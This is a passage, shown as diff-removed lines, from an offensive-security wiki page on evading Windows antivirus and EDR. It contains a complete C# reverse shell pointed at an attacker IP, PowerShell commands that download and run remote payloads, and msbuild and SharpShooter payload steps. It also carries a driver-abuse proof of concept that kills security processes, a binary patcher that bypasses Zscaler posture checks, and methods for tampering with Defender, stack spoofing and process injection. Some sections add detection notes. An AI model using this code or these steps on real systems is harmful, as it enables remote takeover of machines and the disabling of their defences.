-use 9 #rev_tcp.py
-set lhost 10.10.14.0
-sel lport 4444
-generate #payload is the default name
-#This will generate a meterpreter xml and a rcc file for msfconsole
-```
-
-Now **start the lister** with `msfconsole -r file.rc` and **execute** the **xml payload** with:
-
-```
-C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
-```
-
-**Current defender will terminate the process very fast.**
-
-### Compiling our own reverse shell
-
-https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
-
-#### First C# Revershell
-
-Compile it with:
-
-```
-c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt
-```
-
-Use it with:
-
-```
-back.exe <ATTACKER_IP> <PORT>
-```
-
-```csharp
-// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
-using System;
-using System.Text;
-using System.IO;
-using System.Diagnostics;
-using System.ComponentModel;
-using System.Linq;
-using System.Net;
-using System.Net.Sockets;
-
-
-namespace ConnectBack
-{
-	public class Program
-	{
-		static StreamWriter streamWriter;
-
-		public static void Main(string[] args)
-		{
-			using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
-			{
-				using(Stream stream = client.GetStream())
-				{
-					using(StreamReader rdr = new StreamReader(stream))
-					{
-						streamWriter = new StreamWriter(stream);
-
-						StringBuilder strInput = new StringBuilder();
-
-						Process p = new Process();
-						p.StartInfo.FileName = "cmd.exe";
-						p.StartInfo.CreateNoWindow = true;
-						p.StartInfo.UseShellExecute = false;
-						p.StartInfo.RedirectStandardOutput = true;
-						p.StartInfo.RedirectStandardInput = true;
-						p.StartInfo.RedirectStandardError = true;
-						p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
-						p.Start();
-						p.BeginOutputReadLine();
-
-						while(true)
-						{
-							strInput.Append(rdr.ReadLine());
-							//strInput.Append("\n");
-							p.StandardInput.WriteLine(strInput);
-							strInput.Remove(0, strInput.Length);
-						}
-					}
-				}
-			}
-		}
-
-		private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
-        {
-            StringBuilder strOutput = new StringBuilder();
-
-            if (!String.IsNullOrEmpty(outLine.Data))
-            {
-                try
-                {
-                    strOutput.Append(outLine.Data);
-                    streamWriter.WriteLine(strOutput);
-                    streamWriter.Flush();
-                }
-                catch (Exception err) { }
-            }
-        }
-
-	}
-}
-```
-
-### C# using compiler
-
-```
-C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
-```
-
-[REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066](https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066)
-
-[REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639](https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639)
-
-Automatic download and execution:
-
-```csharp
-64bit:
-powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
-
-32bit:
-powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
-```
-
-
-{{#ref}}
-https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
-{{#endref}}
-
-C# obfuscators list: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
-
-### C++
-
-```
-sudo apt-get install mingw-w64
-
-i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
-```
-
-- [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
-- [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
-- [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
-- [https://github.com/l0ss/Grouper2](ps://github.com/l0ss/Group)
-- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
-- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
-
-### Using python for build injectors example:
-
-- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
-
-### Other tools
-
-```bash
-# Veil Framework:
-https://github.com/Veil-Framework/Veil
-
-# Shellter
-https://www.shellterproject.com/download/
-
-# Sharpshooter
-# https://github.com/mdsecactivebreach/SharpShooter
-# Javascript Payload Stageless:
-SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3
-
-# Stageless HTA Payload:
-SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee
-
-# Staged VBS:
-SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4
-
-# Donut:
-https://github.com/TheWover/donut
-
-# Vulcan
-https://github.com/praetorian-code/vulcan
-```
-
-### More
-
-- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
-
-## Bring Your Own Vulnerable Driver (BYOVD) – Killing AV/EDR From Kernel Space
-
-Storm-2603 leveraged a tiny console utility known as **Antivirus Terminator** to disable endpoint protections before dropping ransomware. The tool brings its **own vulnerable but *signed* driver** and abuses it to issue privileged kernel operations that even Protected-Process-Light (PPL) AV services cannot block.
-
-Key take-aways
-1. **Signed driver**: The file delivered to disk is `ServiceMouse.sys`, but the binary is the legitimately signed driver `AToolsKrnl64.sys` from Antiy Labs’ “System In-Depth Analysis Toolkit”. Because the driver bears a valid Microsoft signature it loads even when Driver-Signature-Enforcement (DSE) is enabled.
-2. **Service installation**:
-   ```powershell
-   sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
-   sc start  ServiceMouse
-   ```
-   The first line registers the driver as a **kernel service** and the second one starts it so that `\\.\ServiceMouse` becomes accessible from user land.
-3. **IOCTLs exposed by the driver**
-   | IOCTL code | Capability                              |
-   |-----------:|-----------------------------------------|
-   | `0x99000050` | Terminate an arbitrary process by PID (used to kill Defender/EDR services) |
-   | `0x990000D0` | Delete an arbitrary file on disk |
-   | `0x990001D0` | Unload the driver and remove the service |
-
-   Minimal C proof-of-concept:
-   ```c
-   #include <windows.h>
-   
-   int main(int argc, char **argv){
-       DWORD pid = strtoul(argv[1], NULL, 10);
-       HANDLE hDrv = CreateFileA("\\\\.\\ServiceMouse", GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
-       DeviceIoControl(hDrv, 0x99000050, &pid, sizeof(pid), NULL, 0, NULL, NULL);
-       CloseHandle(hDrv);
-       return 0;
-   }
-   ```
-4. **Why it works**:  BYOVD skips user-mode protections entirely; code that executes in the kernel can open *protected* processes, terminate them, or tamper with kernel objects irrespective of PPL/PP, ELAM or other hardening features.
-
-Detection / Mitigation
-•  Enable Microsoft’s vulnerable-driver block list (`HVCI`, `Smart App Control`) so Windows refuses to load `AToolsKrnl64.sys`.
-•  Monitor creations of new *kernel* services and alert when a driver is loaded from a world-writable directory or not present on the allow-list.
-•  Watch for user-mode handles to custom device objects followed by suspicious `DeviceIoControl` calls.
-
-### Bypassing Zscaler Client Connector Posture Checks via On-Disk Binary Patching
-
-Zscaler’s **Client Connector** applies device-posture rules locally and relies on Windows RPC to communicate the results to other components. Two weak design choices make a full bypass possible:
-
-1. Posture evaluation happens **entirely client-side** (a boolean is sent to the server).
-2. Internal RPC endpoints only validate that the connecting executable is **signed by Zscaler** (via `WinVerifyTrust`).
-
-By **patching four signed binaries on disk** both mechanisms can be neutralised:
-
-| Binary | Original logic patched | Result |
-|--------|------------------------|---------|
-| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Always returns `1` so every check is compliant |
-| `ZSAService.exe` | Indirect call to `WinVerifyTrust` | NOP-ed ⇒ any (even unsigned) process can bind to the RPC pipes |
-| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Replaced by `mov eax,1 ; ret` |
-| `ZSATunnel.exe` | Integrity checks on the tunnel | Short-circuited |
-
-Minimal patcher excerpt:
-
-```python
-pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
-replacement = bytes.fromhex("C6 84 24 80 02 00 00 01")  # force result = 1
-
-with open("ZSATrayManager.exe", "r+b") as f:
-    data = f.read()
-    off = data.find(pattern)
-    if off == -1:
-        print("pattern not found")
-    else:
-        f.seek(off)
-        f.write(replacement)
-```
-
-After replacing the original files and restarting the service stack:
-
-* **All** posture checks display **green/compliant**.
-* Unsigned or modified binaries can open the named-pipe RPC endpoints (e.g. `\\RPC Control\\ZSATrayManager_talk_to_me`).
-* The compromised host gains unrestricted access to the internal network defined by the Zscaler policies.
-
-This case study demonstrates how purely client-side trust decisions and simple signature checks can be defeated with a few byte patches.
-
-## Abusing Protected Process Light (PPL) To Tamper AV/EDR With LOLBINs
-
-Protected Process Light (PPL) enforces a signer/level hierarchy so that only equal-or-higher protected processes can tamper with each other. Offensively, if you can legitimately launch a PPL-enabled binary and control its arguments, you can convert benign functionality (e.g., logging) into a constrained, PPL-backed write primitive against protected directories used by AV/EDR.
-
-What makes a process run as PPL
-- The target EXE (and any loaded DLLs) must be signed with a PPL-capable EKU.
-- The process must be created with CreateProcess using the flags: `EXTENDED_STARTUPINFO_PRESENT | CREATE_PROTECTED_PROCESS`.
-- A compatible protection level must be requested that matches the signer of the binary (e.g., `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` for anti-malware signers, `PROTECTION_LEVEL_WINDOWS` for Windows signers). Wrong levels will fail at creation.
-
-See also a broader intro to PP/PPL and LSASS protection here:
-
-{{#ref}}
-stealing-credentials/credentials-protections.md
-{{#endref}}
-
-Launcher tooling
-- Open-source helper: CreateProcessAsPPL (selects protection level and forwards arguments to the target EXE):
-  - [https://github.com/2x7EQ13/CreateProcessAsPPL](https://github.com/2x7EQ13/CreateProcessAsPPL)
-- Usage pattern:
-
-```text
-CreateProcessAsPPL.exe <level 0..4> <path-to-ppl-capable-exe> [args...]
-# example: spawn a Windows-signed component at PPL level 1 (Windows)
-CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
-# example: spawn an anti-malware signed component at level 3
-CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
-```
-
-LOLBIN primitive: ClipUp.exe
-- The signed system binary `C:\Windows\System32\ClipUp.exe` self-spawns and accepts a parameter to write a log file to a caller-specified path.
-- When launched as a PPL process, the file write occurs with PPL backing.
-- ClipUp cannot parse paths containing spaces; use 8.3 short paths to point into normally protected locations.
-
-8.3 short path helpers
-- List short names: `dir /x` in each parent directory.
-- Derive short path in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
-
-Abuse chain (abstract)
-1) Launch the PPL-capable LOLBIN (ClipUp) with `CREATE_PROTECTED_PROCESS` using a launcher (e.g., CreateProcessAsPPL).
-2) Pass the ClipUp log-path argument to force a file creation in a protected AV directory (e.g., Defender Platform). Use 8.3 short names if needed.
-3) If the target binary is normally open/locked by the AV while running (e.g., MsMpEng.exe), schedule the write at boot before the AV starts by installing an auto-start service that reliably runs earlier. Validate boot ordering with Process Monitor (boot logging).
-4) On reboot the PPL-backed write happens before the AV locks its binaries, corrupting the target file and preventing startup.
-
-Example invocation (paths redacted/shortened for safety):
-
-```text
-# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
-CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
-```
-
-Notes and constraints
-- You cannot control the contents ClipUp writes beyond placement; the primitive is suited to corruption rather than precise content injection.
-- Requires local admin/SYSTEM to install/start a service and a reboot window.
-- Timing is critical: the target must not be open; boot-time execution avoids file locks.
-
-Detections
-- Process creation of `ClipUp.exe` with unusual arguments, especially parented by non-standard launchers, around boot.
-- New services configured to auto-start suspicious binaries and consistently starting before Defender/AV. Investigate service creation/modification prior to Defender startup failures.
-- File integrity monitoring on Defender binaries/Platform directories; unexpected file creations/modifications by processes with protected-process flags.
-- ETW/EDR telemetry: look for processes created with `CREATE_PROTECTED_PROCESS` and anomalous PPL level usage by non-AV binaries.
-
-Mitigations
-- WDAC/Code Integrity: restrict which signed binaries may run as PPL and under which parents; block ClipUp invocation outside legitimate contexts.
-- Service hygiene: restrict creation/modification of auto-start services and monitor start-order manipulation.
-- Ensure Defender tamper protection and early-launch protections are enabled; investigate startup errors indicating binary corruption.
-- Consider disabling 8.3 short-name generation on volumes hosting security tooling if compatible with your environment (test thoroughly).
-
-References for PPL and tooling
-- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
-- EKU reference: https://learn.microsoft.com/openspecs/windows_protocols/ms-ppsec/651a90f3-e1f5-4087-8503-40d804429a88
-- Procmon boot logging (ordering validation): https://learn.microsoft.com/sysinternals/downloads/procmon
-- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
-- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
-
-## Tampering Microsoft Defender via Platform Version Folder Symlink Hijack
-
-Windows Defender chooses the platform it runs from by enumerating subfolders under:
-- `C:\ProgramData\Microsoft\Windows Defender\Platform\`
-
-It selects the subfolder with the highest lexicographic version string (e.g., `4.18.25070.5-0`), then starts the Defender service processes from there (updating service/registry paths accordingly). This selection trusts directory entries including directory reparse points (symlinks). An administrator can leverage this to redirect Defender to an attacker-writable path and achieve DLL sideloading or service disruption.
-
-Preconditions
-- Local Administrator (needed to create directories/symlinks under the Platform folder)
-- Ability to reboot or trigger Defender platform re-selection (service restart on boot)
-- Only built-in tools required (mklink)
-
-Why it works
-- Defender blocks writes in its own folders, but its platform selection trusts directory entries and picks the lexicographically highest version without validating that the target resolves to a protected/trusted path.
-
-Step-by-step (example)
-1) Prepare a writable clone of the current platform folder, e.g. `C:\TMP\AV`:
-```cmd
-set SRC="C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0"
-set DST="C:\TMP\AV"
-robocopy %SRC% %DST% /MIR
-```
-2) Create a higher-version directory symlink inside Platform pointing to your folder:
-```cmd
-mklink /D "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0" "C:\TMP\AV"
-```
-3) Trigger selection (reboot recommended):
-```cmd
-shutdown /r /t 0
-```
-4) Verify MsMpEng.exe (WinDefend) runs from the redirected path:
-```powershell
-Get-Process MsMpEng | Select-Object Id,Path
-# or
-wmic process where name='MsMpEng.exe' get ProcessId,ExecutablePath
-```
-You should observe the new process path under `C:\TMP\AV\` and the service configuration/registry reflecting that location.
-
-Post-exploitation options
-- DLL sideloading/code execution: Drop/replace DLLs that Defender loads from its application directory to execute code in Defender’s processes. See the section above: [DLL Sideloading & Proxying](#dll-sideloading--proxying).
-- Service kill/denial: Remove the version-symlink so on next start the configured path doesn’t resolve and Defender fails to start:
-```cmd
-rmdir "C:\ProgramData\Microsoft\Windows Defender\Platform\5.18.25070.5-0"
-```
-
-> [!TIP]
-> Note that This technique does not provide privilege escalation by itself; it requires admin rights.
-
-## API/IAT Hooking + Call-Stack Spoofing with PIC (Crystal Kit-style)
-
-Red teams can move runtime evasion out of the C2 implant and into the target module itself by hooking its Import Address Table (IAT) and routing selected APIs through attacker-controlled, position‑independent code (PIC). This generalises evasion beyond the small API surface many kits expose (e.g., CreateProcessA), and extends the same protections to BOFs and post‑exploitation DLLs.
-
-High-level approach
-- Stage a PIC blob alongside the target module using a reflective loader (prepended or companion). The PIC must be self‑contained and position‑independent.
-- As the host DLL loads, walk its IMAGE_IMPORT_DESCRIPTOR and patch the IAT entries for targeted imports (e.g., CreateProcessA/W, CreateThread, LoadLibraryA/W, VirtualAlloc) to point at thin PIC wrappers.
-- Each PIC wrapper executes evasions before tail‑calling the real API address. Typical evasions include:
-  - Memory mask/unmask around the call (e.g., encrypt beacon regions, RWX→RX, change page names/permissions) then restore post‑call.
-  - Call‑stack spoofing: construct a benign stack and transition into the target API so call‑stack analysis resolves to expected frames.
-- For compatibility, export an interface so an Aggressor script (or equivalent) can register which APIs to hook for Beacon, BOFs and post‑ex DLLs.
-
-Why IAT hooking here
-- Works for any code that uses the hooked import, without modifying tool code or relying on Beacon to proxy specific APIs.
-- Covers post‑ex DLLs: hooking LoadLibrary* lets you intercept module loads (e.g., System.Management.Automation.dll, clr.dll) and apply the same masking/stack evasion to their API calls.
-- Restores reliable use of process‑spawning post‑ex commands against call‑stack–based detections by wrapping CreateProcessA/W.
-
-Minimal IAT hook sketch (x64 C/C++ pseudocode)
-```c
-// For each IMAGE_IMPORT_DESCRIPTOR
-//  For each thunk in the IAT
-//    if imported function == "CreateProcessA"
-//       WriteProcessMemory(local): IAT[idx] = (ULONG_PTR)Pic_CreateProcessA_Wrapper;
-// Wrapper performs: mask(); stack_spoof_call(real_CreateProcessA, args...); unmask();
-```
-Notes
-- Apply the patch after relocations/ASLR and before first use of the import. Reflective loaders like TitanLdr/AceLdr demonstrate hooking during DllMain of the loaded module.
-- Keep wrappers tiny and PIC-safe; resolve the true API via the original IAT value you captured before patching or via LdrGetProcedureAddress.
-- Use RW → RX transitions for PIC and avoid leaving writable+executable pages.
-
-Call‑stack spoofing stub
-- Draugr‑style PIC stubs build a fake call chain (return addresses into benign modules) and then pivot into the real API.
-- This defeats detections that expect canonical stacks from Beacon/BOFs to sensitive APIs.
-- Pair with stack cutting/stack stitching techniques to land inside expected frames before the API prologue.
-
-Operational integration
-- Prepend the reflective loader to post‑ex DLLs so the PIC and hooks initialise automatically when the DLL is loaded.
-- Use an Aggressor script to register target APIs so Beacon and BOFs transparently benefit from the same evasion path without code changes.
-
-Detection/DFIR considerations
-- IAT integrity: entries that resolve to non‑image (heap/anon) addresses; periodic verification of import pointers.
-- Stack anomalies: return addresses not belonging to loaded images; abrupt transitions to non‑image PIC; inconsistent RtlUserThreadStart ancestry.
-- Loader telemetry: in‑process writes to IAT, early DllMain activity that modifies import thunks, unexpected RX regions created at load.
-- Image‑load evasion: if hooking LoadLibrary*, monitor suspicious loads of automation/clr assemblies correlated with memory masking events.
-
-Related building blocks and examples
-- Reflective loaders that perform IAT patching during load (e.g., TitanLdr, AceLdr)
-- Memory masking hooks (e.g., simplehook) and stack‑cutting PIC (stackcutting)
-- PIC call‑stack spoofing stubs (e.g., Draugr)
-
-
-## Import-Time IAT Hooking + Sleep Obfuscation (Crystal Palace/PICO)
-
-### Import-time IAT hooks via a resident PICO
-
-If you control a reflective loader, you can hook imports **during** `ProcessImports()` by replacing the loader's `GetProcAddress` pointer with a custom resolver that checks hooks first:
-
-- Build a **resident PICO** (persistent PIC object) that survives after the transient loader PIC frees itself.
-- Export a `setup_hooks()` function that overwrites the loader's import resolver (e.g., `funcs.GetProcAddress = _GetProcAddress`).
-- In `_GetProcAddress`, skip ordinal imports and use a hash-based hook lookup like `__resolve_hook(ror13hash(name))`. If a hook exists, return it; otherwise delegate to the real `GetProcAddress`.
-- Register hook targets at link time with Crystal Palace `addhook "MODULE$Func" "hook"` entries. The hook stays valid because it lives inside the resident PICO.
-
-This yields **import-time IAT redirection** without patching the loaded DLL's code section post-load.
-
-### Forcing hookable imports when the target uses PEB-walking
-
-Import-time hooks only trigger if the function is actually in the target's IAT. If a module resolves APIs via a PEB-walk + hash (no import entry), force a real import so the loader's `ProcessImports()` path sees it:
-
-- Replace hashed export resolution (e.g., `GetSymbolAddress(..., HASH_FUNC_WAIT_FOR_SINGLE_OBJECT)`) with a direct reference like `&WaitForSingleObject`.
-- The compiler emits an IAT entry, enabling interception when the reflective loader resolves imports.
-
-### Ekko-style sleep/idle obfuscation without patching `Sleep()`
-
-Instead of patching `Sleep`, hook the **actual wait/IPC primitives** the implant uses (`WaitForSingleObject(Ex)`, `WaitForMultipleObjects`, `ConnectNamedPipe`). For long waits, wrap the call in an Ekko-style obfuscation chain that encrypts the in-memory image during idle:
-
-- Use `CreateTimerQueueTimer` to schedule a sequence of callbacks that call `NtContinue` with crafted `CONTEXT` frames.
-- Typical chain (x64): set image to `PAGE_READWRITE` → RC4 encrypt via `advapi32!SystemFunction032` over the full mapped image → perform the blocking wait → RC4 decrypt → **restore per-section permissions** by walking PE sections → signal completion.
-- `RtlCaptureContext` provides a template `CONTEXT`; clone it into multiple frames and set registers (`Rip/Rcx/Rdx/R8/R9`) to invoke each step.
-
-Operational detail: return “success” for long waits (e.g., `WAIT_OBJECT_0`) so the caller continues while the image is masked. This pattern hides the module from scanners during idle windows and avoids the classic “patched `Sleep()`” signature.
-
-Detection ideas (telemetry-based)
-- Bursts of `CreateTimerQueueTimer` callbacks pointing to `NtContinue`.
-- `advapi32!SystemFunction032` used on large contiguous image-sized buffers.
-- Large-range `VirtualProtect` followed by custom per-section permission restoration.
-
-### Runtime CFG registration for sleep-obfuscation gadgets
-
-On CFG-enabled targets, the first indirect jump into a mid-function gadget such as `jmp [rbx]` or `jmp rdi` will usually crash the process with `STATUS_STACK_BUFFER_OVERRUN` because the gadget is not present in the module's CFG metadata. To keep Ekko/Kraken-style chains alive inside hardened processes:
-
-- Register every indirect destination used by the chain with `NtSetInformationVirtualMemory(..., VmCfgCallTargetInformation, ...)` and `CFG_CALL_TARGET_VALID` entries.
-- For addresses inside loaded images (`ntdll`, `kernel32`, `advapi32`), the `MEMORY_RANGE_ENTRY` must start at the **image base** and cover the **full image size**.
-- For manually mapped/PIC/stomped regions, use the **allocation base** and allocation size instead.
-- Mark not only the dispatch gadget, but also exports reached indirectly (`NtContinue`, `SystemFunction032`, `VirtualProtect`, `GetThreadContext`, `SetThreadContext`, wait/event syscalls) and any attacker-controlled executable sections that will become indirect targets.
-
-This turns ROP/JOP-style sleep chains from "works only in non-CFG processes" into a reusable primitive for `explorer.exe`, browsers, `svchost.exe`, and other endpoints compiled with `/guard:cf`.
-
-### CET-safe stack spoofing for sleeping threads
-
-Full `CONTEXT` replacement is noisy and can break on CET Shadow Stack systems because a spoofed `Rip` must still agree with the hardware shadow stack. A safer sleep-masking pattern is:
-
-- Pick another thread in the same process and read its `NT_TIB` / TEB stack bounds (`StackBase`, `StackLimit`) via `NtQueryInformationThread`.
-- Backup the current thread's real TEB/TIB.
-- Capture the real sleeping context with `GetThreadContext`.
-- Copy **only** the real `Rip` into the spoof context, leaving the spoofed `Rsp`/stack state intact.
-- During the sleep window, copy the spoof thread's `NT_TIB` into the current TEB so stack walkers unwind inside a legitimate stack range.
-- After the wait finishes, restore the original TIB and thread context.
-
-This preserves a CET-consistent instruction pointer while misleading EDR stack walkers that trust TEB stack metadata to validate unwinds.
-
-### APC-based alternative: Kraken Mask
-
-If timer-queue dispatch is too signatured, the same sleep-encrypt-spoof-restore sequence can be executed from a suspended helper thread using queued APCs:
-
-- Create a helper thread with `NtTestAlert` as entrypoint.
-- Queue prepared `CONTEXT` frames/APCs with `NtQueueApcThread` and drain them with `NtAlertResumeThread`.
-- Store the chain state on the heap instead of the helper stack to avoid exhausting the default 64 KB thread stack.
-- Use `NtSignalAndWaitForSingleObject` to atomically signal the start event and block.
-- Suspend the main thread before restoring the TIB/context (`NtSuspendThread` → restore → `NtResumeThread`) to reduce the race window where a scanner could catch a half-restored stack.
-
-This swaps the `CreateTimerQueueTimer` + `NtContinue` signature for a helper-thread/APC signature while keeping the same RC4 masking and stack-spoofing goals.
-
-Additional detection ideas
-- `NtSetInformationVirtualMemory` with `VmCfgCallTargetInformation` shortly before sleeps, waits, or APC dispatch.
-- `GetThreadContext`/`SetThreadContext` wrapped around `WaitForSingleObject(Ex)`, `NtWaitForSingleObject`, `NtSignalAndWaitForSingleObject`, or `ConnectNamedPipe`.
-- `NtQueryInformationThread` followed by direct writes into the current thread's TEB/TIB stack bounds.
-- `NtQueueApcThread`/`NtAlertResumeThread` chains that indirectly reach `SystemFunction032`, `VirtualProtect`, or section-permission restoration helpers.
-- Repeated use of short gadget signatures such as `FF 23` (`jmp [rbx]`) or `FF E7` (`jmp rdi`) as dispatch pivots inside signed modules.
-
-
-## Precision Module Stomping
-
-Module stomping executes payloads from the **`.text` section of a DLL already mapped inside the target process** instead of allocating obvious private executable memory or loading a fresh sacrificial DLL. The overwrite target should be a **loaded, disk-backed image** whose code space can absorb the payload without corrupting code paths the process still needs.
-
-### Reliable target selection
-
-Naive stomping against common modules such as `uxtheme.dll` or `comctl32.dll` is fragile: the DLL may not be loaded in the remote process, and a too-small code region will crash the process. A more reliable workflow is:
-
-1. Enumerate the target process modules and keep a **names-only include list** of DLLs already loaded.
-2. Build the payload first and record its **exact byte size**.
-3. Scan candidate DLLs on disk and compare the PE section **`.text` `Misc_VirtualSize`** against the payload size. This matters more than the file size because it reflects the size of the executable section **when mapped in memory**.
-4. Parse the **Export Address Table (EAT)** and choose an exported function RVA as the stomp start offset.
-5. Calculate the **blast radius**: if the payload exceeds the selected function boundary, it will overwrite adjacent exports laid out after it in memory.
-
-Typical recon/selection helpers seen in the wild:
-
-```cmd
-list-process-dlls.exe -p <PID> -n -o c:\payloads\modules.txt
-python find-stompable-dlls.py -d c:\Windows\System32 -i c:\payloads\modules.txt <payload_size>
-python dump-exports.py -f <dll_path>
-python blast-radius.py -f <dll_path> -fnc <export_name> -s <payload_size>
-```
-
-Operational notes
-- Prefer DLLs **already loaded** in the remote process to avoid the telemetry of `LoadLibrary`/unexpected image loads.
-- Prefer exports that are rarely executed by the target application, otherwise normal code paths may hit the stomped bytes before or after thread creation.
-- Large implants often require changing shellcode embedding from a string literal to a **byte-array/braced initializer** so the full buffer is represented correctly in the injector source.
-
-Detection ideas
-- Remote writes into **image-backed executable pages** (`MEM_IMAGE`, `PAGE_EXECUTE*`) instead of the more common private RWX/RX allocations.
-- Export entry points whose in-memory bytes no longer match the backing file on disk.
-- Remote threads or context pivots that begin execution inside a legitimate DLL export whose first bytes were recently modified.
-- Suspicious `VirtualProtect(Ex)` / `WriteProcessMemory` sequences against DLL `.text` pages followed by thread creation.
-
-## Process Parameter Poisoning (P3)
-
-Process Parameter Poisoning (P3) is a **process-injection / EDR-evasion** technique that avoids the classic remote write path (`VirtualAllocEx` + `WriteProcessMemory`). Instead of copying bytes into an already running target, it abuses the fact that Windows **copies selected `CreateProcessW` startup parameters into the child process** and stores them inside `PEB->ProcessParameters` (`RTL_USER_PROCESS_PARAMETERS`).
-
-### Poisonable carriers copied by `CreateProcessW`
-
-Useful carriers are:
-
-- `lpCommandLine` → `RTL_USER_PROCESS_PARAMETERS.CommandLine`
-- `lpEnvironment` (with `CREATE_UNICODE_ENVIRONMENT`) → `RTL_USER_PROCESS_PARAMETERS.Environment`
-- `STARTUPINFO.lpReserved` → `RTL_USER_PROCESS_PARAMETERS.ShellInfo`
-
-Practical carrier constraints:
-
-- `lpCommandLine` must point to **writable memory** for `CreateProcessW`, and is capped at **32,767 Unicode characters** including the null terminator.
-- `lpEnvironment` must be a Unicode environment block of successive `NAME=VALUE\0` strings terminated by an extra `\0`.
-- `lpReserved` is officially reserved, so the `ShellInfo` mapping should be treated as an implementation detail rather than a stable documented contract.
-
-This turns normal process creation into the **payload-transfer primitive**. The operator creates the child process with attacker-controlled startup data and lets Windows perform the cross-process copy.
-
-### Remote lookup flow without remote write APIs
-
-After the child is created, resolve the copied buffer with **read-only** primitives:
-
-1. `NtQueryInformationProcess(ProcessBasicInformation)` → get `PROCESS_BASIC_INFORMATION.PebBaseAddress`
-2. Read the remote `PEB`
-3. Follow `PEB.ProcessParameters`
-4. Read `RTL_USER_PROCESS_PARAMETERS`
-5. Use the selected pointer:
-   - `parameters.CommandLine.Buffer`
-   - `parameters.Environment`
